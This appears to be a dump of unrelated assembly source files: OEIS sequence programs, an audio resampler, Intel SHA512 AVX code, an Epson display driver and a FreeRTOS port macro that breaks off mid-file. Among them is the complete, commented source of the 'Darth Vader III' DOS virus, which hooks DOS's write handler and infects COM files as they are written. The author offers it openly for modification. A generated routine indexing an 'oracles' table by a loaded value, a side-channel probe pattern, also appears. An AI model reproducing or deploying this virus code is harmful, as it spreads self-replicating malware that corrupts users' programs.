text
stringlengths
1
1.05M
; A129428: Centered 47-gonal numbers. ; 1,48,142,283,471,706,988,1317,1693,2116,2586,3103,3667,4278,4936,5641,6393,7192,8038,8931,9871,10858,11892,12973,14101,15276,16498,17767,19083,20446,21856,23313,24817,26368,27966,29611,31303,33042,34828,36661,38541,40468,42442,44463,46531,48646,50808,53017,55273,57576,59926,62323,64767,67258,69796,72381,75013,77692,80418,83191,86011,88878,91792,94753,97761,100816,103918,107067,110263,113506,116796,120133,123517,126948,130426,133951,137523,141142,144808,148521,152281,156088,159942,163843,167791,171786,175828,179917,184053,188236,192466,196743,201067,205438,209856,214321,218833,223392,227998,232651 sub $1,$0 bin $1,2 mul $1,47 add $1,1 mov $0,$1
; A021169: Decimal expansion of 1/165. ; 0,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6,0,6 trn $0,1 mod $0,2 mov $1,$0 mul $1,6
;******************************************************************************* ;* * ;* D A R T H V A D E R ]I[ * ;* * ;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * ;* All Rights Reserved * ;* * ;* This is the third release of Darth Vader virus. He also infect only * ;* those COM file, wich have area of 255 (or more) zeros. As you might * ;* see, virus' size is reduced. This increase possibility file to have * ;* enough zeros to hold virus. In several tests the percentage of * ;* infected file was tested, and it was bigger than in Darth Vader 2. * ;* This release support only DOS 2.X and later, but less than 5.X * ;* You may make any modifications in this source, BUT let me know * ;* what you have done (drop me a message at Virus eXchange BBS) * ;* * ;* Waleri Todorov * ;******************************************************************************* org 0 ; Begin from offset 0 nop ; Dummy NOPs. Don't remove them nop nop call NextLine ; Call next instruction NextLine pop bx ; To calculate it's own location sub bx,6 ; Location stored in BX mov [0FEh],ax ; Save AX for further usage xor ax,ax ; Set DS to point in interrupt table mov ds,ax ; les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG xor di,di ; ES:DI point to DOSSEG:0000 mov cx,1000h ; Will search 1000h bytes call SearchZero ; Search Zeros in ES:DI jc ReturnControl ; If CF==Yes -> no place and exit mov cs:[bx+offset NewStart],di ; Save beginnig xor si,si ; SI=0; push es ; Set DS point to DOSSEG pop ds SearchTable lodsw ; Load word from DS:SI cmp ax,8B2Eh ; Check first 'magic' byte je Found1 ; If match -> check next byte NotHere dec si ; Else go search from next byte jmp short SearchTable Found1 lodsb ; Load next byte cmp al,9Fh ; If match with last 'magic' byte je FoundTable ; fo to found table dec si ; else go search from next byte jmp short NotHere FoundTable lodsw ; Load table address to AX xchg ax,bx ; Exchange AX <-> BX mov cx,[bx+80h] ; Load in CX old WRITE handler offset xchg ax,bx ; Exchange AX <-> BX mov cs:[bx+offset OldWrite],cx ; Save old offset lea cx,[di+offset Handle] ; Load in CX new offset xchg ax,bx ; Exchgange AX <-> BX mov [bx+80h],cx ; Store new WRITE offset to table xchg ax,bx ; Exchange AX <-> BX push cs ; Set DS point to virus code pop ds ; mov cx,offset LastByte ; CX = Virus Size mov si,bx ; SI=virus start offset rep movsb ; ES:DI point to free area in DOS ; go in there ReturnControl push cs ; Set DS & ES point in host program push cs pop ds pop es mov di,100h ; DI point CS:100 lea si,[bx+offset First3] ; SI point old first instr push di ; Save DI for dummy RETurn movsw ; Move first 2 byte movsb ; Move another one mov ax,[0FEh] ; Restore AX (Remember?) xor bx,bx ; Clear BX ret ; Return control to host via dummy RETurn ; Here terminate virus installation in memory. After this moment ; virus is active and will infect any COM file bigger than the virus ; and having enough zeros SearchZero xor ax,ax ; Set AX to zero (gonna search zeros) Again inc di ; ES:DI++ push cx ; Save CX push di ; Save DI mov cx,offset LastByte ; CX = Virus Size repe scasb ; Search until equal pop di ; Restore DI jcxz FoundPlace ; If CX==0 then ES:DI point to zeros pop cx ; Else restore CX loop Again ; And loop again until CX!=0 stc ; If CX==0 ret ; Set CF and return to caller (No place) FoundPlace pop cx ; Restore CX clc ; Clear CF (ES:DI point to zero area) ret ; Return to caller ; The followed procedure is new WRITE handle. It check does write buffer ; have enough zeros to hold virus. If so -> copy virus in zero area, change ; entry point and write file, else write file only Handle mov ss:[4],bp ; Save BP (BP used as index register) push es ; Save important registers push ax ; DS:DX are saved last, because push bx ; they are used later in infection push cx push si push di push ds ; push dx ; call NextHandle ; Call NextHandle to calculate OldWrite ; variable area offset dw 0 ; Old WRITE handler NewStart dw 0 ; Virus offset in DOSSEG First3 int 20h ; First 3 instruction of COM file nop NextHandle pop bp ; Set SS:BP to point to variable area cmp cx,offset LastByte+10h ; Check if write buffer jb Do ; is big enough. If not -> exit mov ax,1220h ; Get file handle (BX) table number int 2Fh ; Via interrupt 2F (undocumented) mov bl,es:[di] ; Load handle table number in BL mov ax,1216h ; Get file handle table address int 2Fh ; Via interrupt 2F (undocumented) cmp es:[di+29h],'MO' ; Check if file is ?OM jne Do ; If not -> exit pop di ; Set ES:DI to point write buffer pop es ; push es ; push di ; mov ax,es:[di] ; Set AX to first 2 bytes from buffer mov [bp+4],ax ; and save it in First instruction mov al,es:[di+2] ; Set AL to third byte from buffer mov [bp+6],al ; and save it in First instruction call SearchZero ; Search zeros area in buffer jc Do ; If not found -> exit mov bx,di ; Set BX to point zero area push cs ; Set DS point to DOSSEG (Virus) pop ds mov si,[bp+2] ; Set SI to virus offset in DOSSEG mov cx,offset LastByte ; Set CX to virus size rep movsb ; Move virus to buffer pop di ; Set DI point to buffer (not zero area) push di mov al,0E9h ; Set AL to JMP opcode sub bx,di ; Set BX to virus offset in file stosb ; Store JMP to buffer xchg ax,bx ; AX now have offset of virus in file sub ax,3 ; Calculate JMP argument stosw ; and store it in buffer Do pop dx ; Restore important registers pop ds pop di pop si pop cx pop bx pop ax pop es push [bp] ; Put old WRITE offset in stack for RET mov bp,ss:[4] ; Restore BP ret ; Call DOS via dummy RETurn db 'Darth Vader ' ; Virus sign LastByte label byte ; Last byte of virus 
db "LAVA DOME@" ; species name db "Boiling magma-like" next "blood circulates" next "through its body." page "It makes its" next "dwelling place in" next "volcanic caves.@"
#ifdef NALL_DSP_INTERNAL_HPP struct ResampleHermite : Resampler { inline void setFrequency(); inline void clear(); inline void sample(); ResampleHermite(DSP &dsp) : Resampler(dsp) {} real fraction; real step; }; void ResampleHermite::setFrequency() { fraction = 0.0; step = dsp.settings.frequency / frequency; } void ResampleHermite::clear() { fraction = 0.0; } void ResampleHermite::sample() { while(fraction <= 1.0) { real *channel = (real*)alloca(dsp.settings.channels * sizeof(real)); for(unsigned n = 0; n < dsp.settings.channels; n++) { real a = dsp.buffer.read(n, -3); real b = dsp.buffer.read(n, -2); real c = dsp.buffer.read(n, -1); real d = dsp.buffer.read(n, -0); const real tension = 0.0; //-1 = low, 0 = normal, +1 = high const real bias = 0.0; //-1 = left, 0 = even, +1 = right real mu1, mu2, mu3, m0, m1, a0, a1, a2, a3; mu1 = fraction; mu2 = mu1 * mu1; mu3 = mu2 * mu1; m0 = (b - a) * (1.0 + bias) * (1.0 - tension) / 2.0; m0 += (c - b) * (1.0 - bias) * (1.0 - tension) / 2.0; m1 = (c - b) * (1.0 + bias) * (1.0 - tension) / 2.0; m1 += (d - c) * (1.0 - bias) * (1.0 - tension) / 2.0; a0 = +2 * mu3 - 3 * mu2 + 1; a1 = mu3 - 2 * mu2 + mu1; a2 = mu3 - mu2; a3 = -2 * mu3 + 3 * mu2; channel[n] = (a0 * b) + (a1 * m0) + (a2 * m1) + (a3 * c); } dsp.write(channel); fraction += step; } dsp.buffer.rdoffset++; fraction -= 1.0; } #endif
;; ;; Copyright (c) 2012-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;; code to compute SHA512 by-2 using AVX ;; outer calling routine takes care of save and restore of XMM registers ;; Logic designed/laid out by JDG ;; Function clobbers: rax, rcx, rdx, rbx, rsi, rdi, r9-r15; ymm0-15 ;; Stack must be aligned to 16 bytes before call ;; Windows clobbers: rax rdx r8 r9 r10 r11 ;; Windows preserves: rbx rcx rsi rdi rbp r12 r13 r14 r15 ;; ;; Linux clobbers: rax rsi r8 r9 r10 r11 ;; Linux preserves: rbx rcx rdx rdi rbp r12 r13 r14 r15 ;; ;; clobbers xmm0-15 %include "include/os.asm" %include "mb_mgr_datastruct.asm" %include "include/clear_regs.asm" extern K512_2 section .data default rel align 32 ; one from sha512_rorx ; this does the big endian to little endian conversion ; over a quad word PSHUFFLE_BYTE_FLIP_MASK: ;ddq 0x08090a0b0c0d0e0f0001020304050607 dq 0x0001020304050607, 0x08090a0b0c0d0e0f ;ddq 0x18191a1b1c1d1e1f1011121314151617 dq 0x1011121314151617, 0x18191a1b1c1d1e1f section .text %ifdef LINUX ; Linux definitions %define arg1 rdi %define arg2 rsi %else ; Windows definitions %define arg1 rcx %define arg2 rdx %endif ; Common definitions %define STATE arg1 %define INP_SIZE arg2 %define IDX rax %define ROUND r8 %define TBL r11 %define inp0 r9 %define inp1 r10 %define a xmm0 %define b xmm1 %define c xmm2 %define d xmm3 %define e xmm4 %define f xmm5 %define g xmm6 %define h xmm7 %define a0 xmm8 %define a1 xmm9 %define a2 xmm10 %define TT0 xmm14 %define TT1 xmm13 %define TT2 xmm12 %define TT3 xmm11 %define TT4 xmm10 %define TT5 xmm9 %define T1 xmm14 %define TMP xmm15 %define SZ2 2*SHA512_DIGEST_WORD_SIZE ; Size of one vector register %define ROUNDS 80*SZ2 ; Define stack usage struc STACK _DATA: resb SZ2 * 16 _DIGEST: resb SZ2 * NUM_SHA512_DIGEST_WORDS resb 8 ; for alignment, must be odd multiple of 8 endstruc %define VMOVPD vmovupd ; transpose r0, r1, t0 ; Input looks like {r0 r1} ; r0 = {a1 a0} ; r1 = {b1 b0} ; ; output looks like ; r0 = {b0, a0} ; t0 = {b1, a1} %macro TRANSPOSE 3 %define %%r0 %1 %define %%r1 %2 %define %%t0 %3 vshufpd %%t0, %%r0, %%r1, 11b ; t0 = b1 a1 vshufpd %%r0, %%r0, %%r1, 00b ; r0 = b0 a0 %endm %macro ROTATE_ARGS 0 %xdefine TMP_ h %xdefine h g %xdefine g f %xdefine f e %xdefine e d %xdefine d c %xdefine c b %xdefine b a %xdefine a TMP_ %endm ; PRORQ reg, imm, tmp ; packed-rotate-right-double ; does a rotate by doing two shifts and an or %macro PRORQ 3 %define %%reg %1 %define %%imm %2 %define %%tmp %3 vpsllq %%tmp, %%reg, (64-(%%imm)) vpsrlq %%reg, %%reg, %%imm vpor %%reg, %%reg, %%tmp %endmacro ; non-destructive ; PRORQ_nd reg, imm, tmp, src %macro PRORQ_nd 4 %define %%reg %1 %define %%imm %2 %define %%tmp %3 %define %%src %4 vpsllq %%tmp, %%src, (64-(%%imm)) vpsrlq %%reg, %%src, %%imm vpor %%reg, %%reg, %%tmp %endmacro ; PRORQ dst/src, amt %macro PRORQ 2 PRORQ %1, %2, TMP %endmacro ; PRORQ_nd dst, src, amt %macro PRORQ_nd 3 PRORQ_nd %1, %3, TMP, %2 %endmacro ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_00_15 2 %define %%T1 %1 %define %%i %2 PRORQ_nd a0, e, (18-14) ; sig1: a0 = (e >> 4) vpxor a2, f, g ; ch: a2 = f^g vpand a2, a2, e ; ch: a2 = (f^g)&e vpxor a2, a2, g ; a2 = ch PRORQ_nd a1, e, 41 ; sig1: a1 = (e >> 41) vmovdqa [SZ2*(%%i&0xf) + rsp + _DATA],%%T1 vpaddq %%T1,%%T1,[TBL + ROUND] ; T1 = W + K vpxor a0, a0, e ; sig1: a0 = e ^ (e >> 5) PRORQ a0, 14 ; sig1: a0 = (e >> 14) ^ (e >> 18) vpaddq h, h, a2 ; h = h + ch PRORQ_nd a2, a, (34-28) ; sig0: a2 = (a >> 6) vpaddq h, h, %%T1 ; h = h + ch + W + K vpxor a0, a0, a1 ; a0 = sigma1 vmovdqa %%T1, a ; maj: T1 = a PRORQ_nd a1, a, 39 ; sig0: a1 = (a >> 39) vpxor %%T1, %%T1, c ; maj: T1 = a^c add ROUND, SZ2 ; ROUND++ vpand %%T1, %%T1, b ; maj: T1 = (a^c)&b vpaddq h, h, a0 vpaddq d, d, h vpxor a2, a2, a ; sig0: a2 = a ^ (a >> 11) PRORQ a2, 28 ; sig0: a2 = (a >> 28) ^ (a >> 34) vpxor a2, a2, a1 ; a2 = sig0 vpand a1, a, c ; maj: a1 = a&c vpor a1, a1, %%T1 ; a1 = maj vpaddq h, h, a1 ; h = h + ch + W + K + maj vpaddq h, h, a2 ; h = h + ch + W + K + maj + sigma0 ROTATE_ARGS %endm ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_16_XX 2 %define %%T1 %1 %define %%i %2 vmovdqa %%T1, [SZ2*((%%i-15)&0xf) + rsp + _DATA] vmovdqa a1, [SZ2*((%%i-2)&0xf) + rsp + _DATA] vmovdqa a0, %%T1 PRORQ %%T1, 8-1 vmovdqa a2, a1 PRORQ a1, 61-19 vpxor %%T1, %%T1, a0 PRORQ %%T1, 1 vpxor a1, a1, a2 PRORQ a1, 19 vpsrlq a0, a0, 7 vpxor %%T1, %%T1, a0 vpsrlq a2, a2, 6 vpxor a1, a1, a2 vpaddq %%T1, %%T1, [SZ2*((%%i-16)&0xf) + rsp + _DATA] vpaddq a1, a1, [SZ2*((%%i-7)&0xf) + rsp + _DATA] vpaddq %%T1, %%T1, a1 ROUND_00_15 %%T1, %%i %endm ;; SHA512_ARGS: ;; UINT128 digest[8]; // transposed digests ;; UINT8 *data_ptr[2]; ;; ;; void sha512_x2_avx(SHA512_ARGS *args, UINT64 msg_size_in_blocks) ;; arg 1 : STATE : pointer args ;; arg 2 : INP_SIZE : size of data in blocks (assumed >= 1) ;; MKGLOBAL(sha512_x2_avx,function,internal) align 32 sha512_x2_avx: ; general registers preserved in outer calling routine ; outer calling routine saves all the XMM registers sub rsp, STACK_size ;; Load the pre-transposed incoming digest. vmovdqa a,[STATE + 0 * SHA512_DIGEST_ROW_SIZE] vmovdqa b,[STATE + 1 * SHA512_DIGEST_ROW_SIZE] vmovdqa c,[STATE + 2 * SHA512_DIGEST_ROW_SIZE] vmovdqa d,[STATE + 3 * SHA512_DIGEST_ROW_SIZE] vmovdqa e,[STATE + 4 * SHA512_DIGEST_ROW_SIZE] vmovdqa f,[STATE + 5 * SHA512_DIGEST_ROW_SIZE] vmovdqa g,[STATE + 6 * SHA512_DIGEST_ROW_SIZE] vmovdqa h,[STATE + 7 * SHA512_DIGEST_ROW_SIZE] lea TBL,[rel K512_2] ;; load the address of each of the 2 message lanes ;; getting ready to transpose input onto stack mov inp0,[STATE + _data_ptr_sha512 +0*PTR_SZ] mov inp1,[STATE + _data_ptr_sha512 +1*PTR_SZ] xor IDX, IDX lloop: xor ROUND, ROUND ;; save old digest vmovdqa [rsp + _DIGEST + 0*SZ2], a vmovdqa [rsp + _DIGEST + 1*SZ2], b vmovdqa [rsp + _DIGEST + 2*SZ2], c vmovdqa [rsp + _DIGEST + 3*SZ2], d vmovdqa [rsp + _DIGEST + 4*SZ2], e vmovdqa [rsp + _DIGEST + 5*SZ2], f vmovdqa [rsp + _DIGEST + 6*SZ2], g vmovdqa [rsp + _DIGEST + 7*SZ2], h %assign i 0 %rep 8 ;; load up the shuffler for little-endian to big-endian format vmovdqa TMP, [rel PSHUFFLE_BYTE_FLIP_MASK] VMOVPD TT0,[inp0+IDX+i*16] ;; double precision is 64 bits VMOVPD TT2,[inp1+IDX+i*16] TRANSPOSE TT0, TT2, TT1 vpshufb TT0, TT0, TMP vpshufb TT1, TT1, TMP ROUND_00_15 TT0,(i*2+0) ROUND_00_15 TT1,(i*2+1) %assign i (i+1) %endrep ;; Increment IDX by message block size == 8 (loop) * 16 (XMM width in bytes) add IDX, 8 * 16 %assign i (i*4) jmp Lrounds_16_xx align 16 Lrounds_16_xx: %rep 16 ROUND_16_XX T1, i %assign i (i+1) %endrep cmp ROUND,ROUNDS jb Lrounds_16_xx ;; add old digest vpaddq a, a, [rsp + _DIGEST + 0*SZ2] vpaddq b, b, [rsp + _DIGEST + 1*SZ2] vpaddq c, c, [rsp + _DIGEST + 2*SZ2] vpaddq d, d, [rsp + _DIGEST + 3*SZ2] vpaddq e, e, [rsp + _DIGEST + 4*SZ2] vpaddq f, f, [rsp + _DIGEST + 5*SZ2] vpaddq g, g, [rsp + _DIGEST + 6*SZ2] vpaddq h, h, [rsp + _DIGEST + 7*SZ2] sub INP_SIZE, 1 ;; consumed one message block jne lloop ; write back to memory (state object) the transposed digest vmovdqa [STATE+0*SHA512_DIGEST_ROW_SIZE],a vmovdqa [STATE+1*SHA512_DIGEST_ROW_SIZE],b vmovdqa [STATE+2*SHA512_DIGEST_ROW_SIZE],c vmovdqa [STATE+3*SHA512_DIGEST_ROW_SIZE],d vmovdqa [STATE+4*SHA512_DIGEST_ROW_SIZE],e vmovdqa [STATE+5*SHA512_DIGEST_ROW_SIZE],f vmovdqa [STATE+6*SHA512_DIGEST_ROW_SIZE],g vmovdqa [STATE+7*SHA512_DIGEST_ROW_SIZE],h ; update input pointers add inp0, IDX mov [STATE + _data_ptr_sha512 + 0*PTR_SZ], inp0 add inp1, IDX mov [STATE + _data_ptr_sha512 + 1*PTR_SZ], inp1 ;;;;;;;;;;;;;;;; ;; Postamble ;; Clear stack frame ((16 + 8)*16 bytes) %ifdef SAFE_DATA clear_all_xmms_avx_asm %assign i 0 %rep (16+NUM_SHA512_DIGEST_WORDS) vmovdqa [rsp + i*SZ2], xmm0 %assign i (i+1) %endrep %endif add rsp, STACK_size ; outer calling routine restores XMM and other GP registers ret %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1ebe9, %rdx nop nop nop nop nop inc %r10 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%rdx) nop dec %r10 lea addresses_A_ht+0x3d09, %rsi lea addresses_D_ht+0x1c449, %rdi nop add $28345, %rdx mov $39, %rcx rep movsb xor $39617, %rdi lea addresses_WC_ht+0x1a3a9, %rdx nop nop nop lfence movl $0x61626364, (%rdx) nop xor %rdi, %rdi lea addresses_D_ht+0x1c909, %rsi lea addresses_normal_ht+0x15191, %rdi and $21305, %r15 mov $51, %rcx rep movsb nop nop nop inc %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %r8 push %rdx // Load mov $0x8c9, %r15 nop and $60809, %r10 mov (%r15), %dx nop nop nop nop nop add $53673, %r12 // Faulty Load lea addresses_A+0x1bb09, %r15 nop nop nop and %r8, %r8 mov (%r15), %r12d lea oracles, %r8 and $0xff, %r12 shlq $12, %r12 mov (%r8,%r12,1), %r12 pop %rdx pop %r8 pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A102653: a(n) = 4 * floor(27*2^n/15). ; 4,12,28,56,112,228,460,920,1840,3684,7372,14744,29488,58980,117964,235928,471856,943716,1887436,3774872,7549744,15099492,30198988,60397976,120795952,241591908,483183820,966367640,1932735280,3865470564 mov $1,2 pow $1,$0 mul $1,9 div $1,5 mul $1,4
; ; ANSI Video handling for the Epson PX8 ; By Stefano Bodrato - 2019 ; ; Handles Attributes INVERSE, BOLD + UNDERLINED ; ; Display a char in location (__console_y),(__console_x) ; A=char to display ; ; ; $Id: f_ansi_char.asm $ ; SECTION smc_clib PUBLIC ansi_CHAR EXTERN subcpu_call EXTERN ansifont EXTERN __console_y EXTERN __console_x PUBLIC INVRS PUBLIC BOLD PUBLIC UNDRLN .ansi_CHAR ld hl,data+5 ld (hl),255 ; underline the character by default, then ovverride if not necessary ld l,a ld h,0 add hl,hl ld d,h ld e,l add hl,hl add hl,de ;ld de,font8x6-192 ld de,ansifont-192 add hl,de ld de,data .UNDRLN ld b,6 ; 5 (underlined) or 6 .copyloop ld a,(hl) .BOLD nop ; rla nop ; or (hl) .INVRS nop ; set to CPL to enable INVERSE ld (de),a inc hl inc de djnz copyloop ld a,(__console_x) ld (xcoord),a ld a,(__console_y) add a ; *2 ld e,a add a ; *4 add e ; *6 add 2 ; center the text vertically ld (ycoord),a ld hl,packet_wr jp subcpu_call SECTION data_clib ; master packet for write operation packet_wr: defw sndpkt packet_sz: defw 12 ; packet sz (=6+data len) defw xcoord ; packet addr expected back from the slave CPU (1 byte for return code only, we use the foo position of xcoord) defw 1 ; size of the expected packet being received (just the return code) sndpkt: defb $25 ; slave CPU command to write to the graphics memory ($25 = write) xcoord: defb 0 ycoord: defb 0 width: defb 1 height: defb 6 operation: defb 0 ; Operation (0=store) data: defs 6
;-- Functions used by scheduler (CS+ does not need external definition) ;-------------------------------------------------------------------------------- ;-- EXTERN vTaskSwitchContext ;-- EXTERN vTaskSwitchContext ;-- EXTERN xTaskIncrementTick ;-- Variables used by scheduler (CS+ does not need external definition) ;-------------------------------------------------------------------------------- ;-- EXTERN pxCurrentTCB ;-- EXTERN usCriticalNesting ;-- Functions implemented in this file (CS+ does not need public definition) ;------------------------------------------------------------------------------ ;-- PUBLIC vPortYield ;-- PUBLIC vPortStart ; ---------- extern symbols --------------- .extern _usCriticalNesting .extern _pxCurrentTCB .extern _vTaskSwitchContext .extern _xTaskIncrementTick ;------------------------------------------------------------------------------ ;-- portSAVE_CONTEXT MACRO ;-- Saves the context of the remaining general purpose registers ;-- and the usCriticalNesting Value of the active Task onto the task stack ;-- saves stack pointer to the TCB ;------------------------------------------------------------------------------ portSAVE_CONTEXT .macro prepare r20,r21,r22,r23,r24,r25,r26,r27,r28,r29,r30,68,sp ;-- save general purpose registers sst.w r19,64[ep] ;-- #if Using the Small/Large data model sst.w r18,60[ep] sst.w r17,56[ep] sst.w r16,52[ep] sst.w r15,48[ep] sst.w r14,44[ep] sst.w r13,40[ep] sst.w r12,36[ep] sst.w r11,32[ep] sst.w r10,28[ep] sst.w r9,24[ep] sst.w r8,20[ep] sst.w r7,16[ep] sst.w r6,12[ep] sst.w r2,8[ep] sst.w r1,4[ep] movhi HIGHW1(#_usCriticalNesting),r0,r1 ;-- save usCriticalNesting value to stack ld.w LOWW(#_usCriticalNesting)[r1],r2 sst.w r2,0[ep] movhi HIGHW1(#_pxCurrentTCB),r0,r1 ;-- save SP to top of current TCB ld.w LOWW(#_pxCurrentTCB)[r1],r2 st.w sp,0[r2] .endm ;------------------------------------------------------------------------------ ;-- portRESTORE_CONTEXT MACRO ;-- Gets stack pointer from the current TCB ;-- Restores the context of the usCriticalNesting value and general purpose ;-- registers of the selected task from the task stack ;------------------------------------------------------------------------------ portRESTORE_CONTEXT .macro movhi HIGHW1(#_pxCurrentTCB),r0,r1 ;-- get Stackpointer address ld.w LOWW(#_pxCurrentTCB)[r1],sp MOV sp,r1 ld.w 0[r1],sp ;-- load stackpointer MOV sp,ep ;-- set stack pointer to element pointer sld.w 0[ep],r1 ;-- load 